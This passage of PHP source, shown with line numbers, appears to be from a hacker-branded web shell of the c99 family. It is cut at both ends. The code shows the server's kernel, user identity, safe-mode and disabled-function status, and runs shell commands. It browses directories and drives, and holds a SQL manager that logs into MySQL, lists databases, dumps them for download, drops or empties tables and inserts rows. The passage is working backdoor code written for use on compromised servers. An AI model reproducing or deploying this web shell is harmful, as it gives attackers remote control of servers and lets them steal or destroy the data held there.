leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><center><img src='http://delux0.by.ru/deluxhaker.jpg'></p></center></th></tr><tr><td>
  1286. <table border=0 width=100%>
  1287. <tr><td colspan=2><center><b><?php echo $DISP_SERVER_SOFTWARE; ?></td></tr>
  1288. <tr><td><b>Kernel: <?php echo wordwrap(php_uname(),90,'<br>',1); if($win) echo ' ('.exec('ver').')'; ?></b></td><td align=right><b>Safe-Mode: <?php echo $hsafemode; ?></b></td></tr>
  1289. <tr><td><b><?php if (!$win) {echo wordwrap(myshellexec('id'),90,'<br>',1);} else {echo 'Running As: '.get_current_user();} ?></b></td><td align=right><b>Disabled PHP Functions: <?php if(''==($df=@ini_get('disable_functions'))){echo '<font color=green>NONE</font></b>';}else{echo '<font color=red>$df</font></b>';} ?></b></td></tr>
  1290. <tr><td><?php
  1291.  
  1292. // ***
  1293. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1294. if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
  1295. $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  1296. if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  1297. $d = str_replace("\\\\","\\",$d);
  1298. $dispd = htmlspecialchars($d);
  1299. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  1300. $i = 0;
  1301. // ***
  1302.  
  1303. if (is_callable('disk_free_space'))
  1304. {
  1305. $free = disk_free_space($d);
  1306. $total = disk_total_space($d);
  1307. if ($free === FALSE) {$free = 0;}
  1308. if ($total === FALSE) {$total = 0;}
  1309. if ($free < 0) {$free = 0;}
  1310. if ($total < 0) {$total = 0;}
  1311. $used = $total-$free;
  1312. $free_percent = round(100/($total/$free),2);
  1313. echo '<b>Free '.view_size($free).' of '.view_size($total).' ('.$free_percent.'%)</b>';
  1314. }
  1315. echo '</td><td align=right><b>Server IP: <a href=http://whois.domaintools.com/'.gethostbyname($_SERVER["HTTP_HOST"]).'>'.gethostbyname($_SERVER["HTTP_HOST"]).'</a> - Your IP: <a href=http://whois.domaintools.com/'.$_SERVER["REMOTE_ADDR"].'>'.$_SERVER["REMOTE_ADDR"].'</a></b></td></tr>';
  1316. ?>
  1317. </table>
  1318. <br>
  1319. <p align="left"><?php
  1320. // moved the dir stuff up above the disk free space so that it still gets the variables, even though it's being called before the echo current dir (put *** around it)
  1321. foreach($pd as $b)
  1322. {
  1323. $t = '';
  1324. $j = 0;
  1325. foreach ($e as $r)
  1326. {
  1327. $t.= $r.DIRECTORY_SEPARATOR;
  1328. if ($j == $i) {break;}
  1329. $j++;
  1330. }
  1331. echo '<a href="'.$surl.'act=ls&d='.urlencode($t).'&sort='.$sort.'"><b>'.htmlspecialchars($b).DIRECTORY_SEPARATOR.'</b></a>';
  1332. $i++;
  1333. }
  1334. echo '   ';
  1335. if (is_writable($d))
  1336. {
  1337. $wd = TRUE;
  1338. $wdt = "<font color=green>[ ok ]</font>";
  1339. echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  1340. }
  1341. else
  1342. {
  1343. $wd = FALSE;
  1344. $wdt = "<font color=red>[ Read-Only ]</font>";
  1345. echo '<b>'.view_perms_color($d).'</b>';
  1346. }
  1347.  
  1348. echo '<br>';
  1349. $letters = '';
  1350. if ($win)
  1351. {
  1352. $v = explode("\\",$d);
  1353. $v = $v[0];
  1354. foreach (range('a','z') as $letter)
  1355. {
  1356. $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  1357. if (!$bool) {$bool = is_dir($letter.":\\");}
  1358. if ($bool)
  1359. {
  1360. $letters .= "<a href=\"".$surl."act=ls&d=".urlencode(strtoupper($letter).":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[";
  1361. if ($letter.":" != $v) {$letters .= strtoupper($letter);}
  1362. else {$letters .= '<font color=green>'.strtoupper($letter).'</font>';}
  1363. $letters .= ":]</a> ";
  1364. }
  1365. }
  1366. if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
  1367. }
  1368. if (count($quicklaunch) > 0)
  1369. {
  1370. foreach($quicklaunch as $item)
  1371. {
  1372. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  1373. $item[1] = str_replace("%sort",$sort,$item[1]);
  1374. $v = realpath($d."..");
  1375. if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  1376. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  1377. echo "<a href=\"".$item[1]."\">".$item[0]."</a>    ";
  1378. }
  1379. }
  1380. if (count($quicklaunch2) > 0)
  1381. {
  1382. echo '<br>';
  1383. foreach($quicklaunch2 as $item)
  1384. {
  1385. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  1386. $item[1] = str_replace("%sort",$sort,$item[1]);
  1387. $v = realpath($d."..");
  1388. if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  1389. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  1390. echo "<a href=\"".$item[1]."\">".$item[0]."</a>    ";
  1391. }
  1392. }
  1393.  
  1394. echo "</p></td></tr></table><br>";
  1395. if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
  1396. echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
  1397. if ($act == "") {$act = $dspact = "ls";}
  1398. if ($act == "sql")
  1399. {
  1400. $sql_surl = $surl."act=sql";
  1401. if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  1402. if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  1403. if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  1404. if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  1405. if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  1406. $sql_surl .= "&";
  1407. ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
  1408. if ($sql_server)
  1409. {
  1410. $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  1411. $err = mysql_smarterror();
  1412. @mysql_select_db($sql_db,$sql_sock);
  1413. if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  1414. }
  1415. else {$sql_sock = FALSE;}
  1416. echo "<b>SQL Manager:</b><br>";
  1417. if (!$sql_sock)
  1418. {
  1419. if (!$sql_server) {echo "NO CONNECTION";}
  1420. else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
  1421. }
  1422. else
  1423. {
  1424. $sqlquicklaunch = array();
  1425. $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  1426. $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  1427. $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  1428. $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  1429. $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  1430. $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  1431. echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  1432. if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  1433. echo "</center>";
  1434. }
  1435. echo "</td></tr><tr>";
  1436. if (!$sql_sock) {?><td width=28% height=100 valign=top><li>If login is null, login is owner of process.<li>If host is null, host is localhost (default).</b><li>If port is null, port is 3306 (default).</td><td width=90% height=1 valign=top><TABLE height=1 cellSpacing=0 cellPadding=0 width=100% border=0><tr><td> <b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action="<?php echo $surl; ?>" method=POST><input type=hidden name="act" value="sql"><tr><td><input type=text name="sql_login" value="root" maxlength=64></td><td><input type=text name="sql_passwd" maxlength=64></td><td><input type=text name="sql_db" maxlength=64></td></tr><tr><td><b>Host</b></td><td><b>Port</b></td></tr><tr><td align=right><input type=text name="sql_server" value="localhost" maxlength=64></td><td><input type=text name="sql_port" value="3306" maxlength=6 size=3></td><td><input type=submit value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
  1437. else
  1438. {
  1439. //Start left panel
  1440. if (!empty($sql_db))
  1441. {
  1442. ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1443. $result = mysql_list_tables($sql_db);
  1444. if (!$result) {echo mysql_smarterror();}
  1445. else
  1446. {
  1447. echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1448. $c = 0;
  1449. while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1450. if (!$c) {echo "No tables found in database.";}
  1451. }
  1452. }
  1453. else
  1454. {
  1455. ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
  1456. $result = mysql_list_dbs($sql_sock);
  1457. if (!$result) {echo mysql_smarterror();}
  1458. else
  1459. {
  1460. ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
  1461. $c = 0;
  1462. $dbs = "";
  1463. while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1464. echo "<option value=\"\">Databases (".$c.")</option>";
  1465. echo $dbs;
  1466. }
  1467. ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  1468. }
  1469. //End left panel
  1470. echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  1471. //Start center panel
  1472. $diplay = TRUE;
  1473. if ($sql_db)
  1474. {
  1475. if (!is_numeric($c)) {$c = 0;}
  1476. if ($c == 0) {$c = "no";}
  1477. echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1478. if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1479. echo "</b></center>";
  1480. $acts = array("","dump");
  1481. if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1482. elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  1483. elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  1484. elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1485. elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1486. elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1487. elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  1488. elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  1489. elseif ($sql_tbl_act == "insert")
  1490. {
  1491. if ($sql_tbl_insert_radio == 1)
  1492. {
  1493. $keys = "";
  1494. $akeys = array_keys($sql_tbl_insert);
  1495. foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1496. if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1497. $values = "";
  1498. $i = 0;
  1499. foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1500. if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1501. $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1502. $sql_act = "query";
  1503. $sql_tbl_act = "browse";
  1504. }
  1505. elseif ($sql_tbl_insert_radio == 2)
  1506. {
  1507. $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1508. $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1509. $result = mysql_query($sql_query) or print(mysql_smarterror());
  1510. $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1511. $sql_act = "query";
  1512. $sql_tbl_act = "browse";
  1513. }
  1514. }
  1515. if ($sql_act == "query")
  1516. {
  1517. echo "<hr size=\"1\" noshade>";
  1518. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1519. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  1520. if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1521. }
  1522. if (in_array($sql_act,$acts))
  1523. {
  1524. ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
  1525. if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  1526. if ($sql_act == "newtbl")
  1527. {
  1528.  
  1529. echo "<b>";
  1530. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1531. }
  1532. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1533. }
  1534. elseif ($sql_act == "dump")
  1535. {
  1536. if (empty($submit))
  1537. {
  1538. $diplay = FALSE;
  1539. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1540. echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1541. $v = join (";",$dmptbls);
  1542. echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1543. if ($dump_file) {$tmp = $dump_file;}
  1544. else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1545. echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1546. echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1547. echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1548. echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1549. echo "</form>";
  1550. }
  1551. else
  1552. {
  1553. $diplay = TRUE;
  1554. $set = array();
  1555. $set["sock"] = $sql_sock;
  1556. $set["db"] = $sql_db;
  1557. $dump_out = "download";
  1558. $set["print"] = 0;
  1559. $set["nl2br"] = 0;
  1560. $set[""] = 0;
  1561. $set["file"] = $dump_file;
  1562. $set["add_drop"] = TRUE;
  1563. $set["onlytabs"] = array();
  1564. if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1565. $ret = mysql_dump($set);
  1566. if ($sql_dump_download)
  1567. {
  1568. @ob_clean();
  1569. header("Content-type: application/octet-stream");
  1570. header("Content-length: ".strlen($ret));
  1571. header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1572. echo $ret;
  1573. exit;
  1574. }
  1575. elseif ($sql_dump_savetofile)
  1576. {
  1577. $fp = fopen($sql_dump_file,"w");
  1578. if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1579. else
  1580. {
  1581. fwrite($fp,$ret);
  1582. fclose($fp);
  1583. echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1584. }
  1585. }
  1586. else {echo "<b>Dump: nothing to do!</b>";}
  1587. }
  1588. }
  1589. if ($diplay)
  1590. {
  1591. if (!empty($sql_tbl))
  1592. {
  1593. if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1594. $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1595. $count_row = mysql_fetch_array($count);
  1596. mysql_free_result($count);
  1597. $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1598. $tbl_struct_fields = array();
  1599. while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1600. if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1601. if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1602. if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1603. if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1604. $perpage = $sql_tbl_le - $sql_tbl_ls;
  1605. if (!is_numeric($perpage)) {$perpage = 10;}
  1606. $numpages = $count_row[0]/$perpage;
  1607. $e = explode(" ",$sql_order);
  1608. if (count($e) == 2)
  1609. {
  1610. if ($e[0] == "d") {$asc_desc = "DESC";}
  1611. else {$asc_desc = "ASC";}
  1612. $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1613. }
  1614. else {$v = "";}
  1615. $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1616. $result = mysql_query($query) or print(mysql_smarterror());
  1617. echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1618. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[ <b>Structure</b> ]</a>   ";
  1619. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[ <b>Browse</b> ]</a>   ";
  1620. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[ <b>Dump</b> ]</a>   ";
  1621. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a>   ";
  1622. if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1623. if ($sql_tbl_act == "insert")
  1624. {
  1625. if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1626. if (!empty($sql_tbl_insert_radio))
  1627. {
  1628.  
  1629. }
  1630. else
  1631. {
  1632. echo "<br><br><b>Inserting row into table:</b><br>";
  1633. if (!empty($sql_tbl_insert_q))
  1634. {
  1635. $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1636. $sql_query .= " WHERE".$sql_tbl_insert_q;
  1637. $sql_query .= " LIMIT 1;";
  1638. $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1639. $values = mysql_fetch_assoc($result);
  1640. mysql_free_result($result);
  1641. }
  1642. else {$values = array();}
  1643. echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1644. foreach ($tbl_struct_fields as $field)
  1645. {
  1646. $name = $field["Field"];
  1647. if (empty($sql_tbl_insert_q)) {$v = "";}
  1648. echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1649. $i++;
  1650. }
  1651. echo "</table><br>";
  1652. echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1653. if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1654. echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1655. }
  1656. }
  1657. if ($sql_tbl_act == "browse")
  1658. {
  1659. $sql_tbl_ls = abs($sql_tbl_ls);
  1660. $sql_tbl_le = abs($sql_tbl_le);
  1661. echo "<hr size=\"1\" noshade>";
  1662. echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
  1663. $b = 0;
  1664. for($i=0;$i<$numpages;$i++)
  1665. {
  1666. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1667. echo $i;
  1668. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1669. if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1670. else {echo " ";}
  1671. }
  1672. if ($i == 0) {echo "empty";}
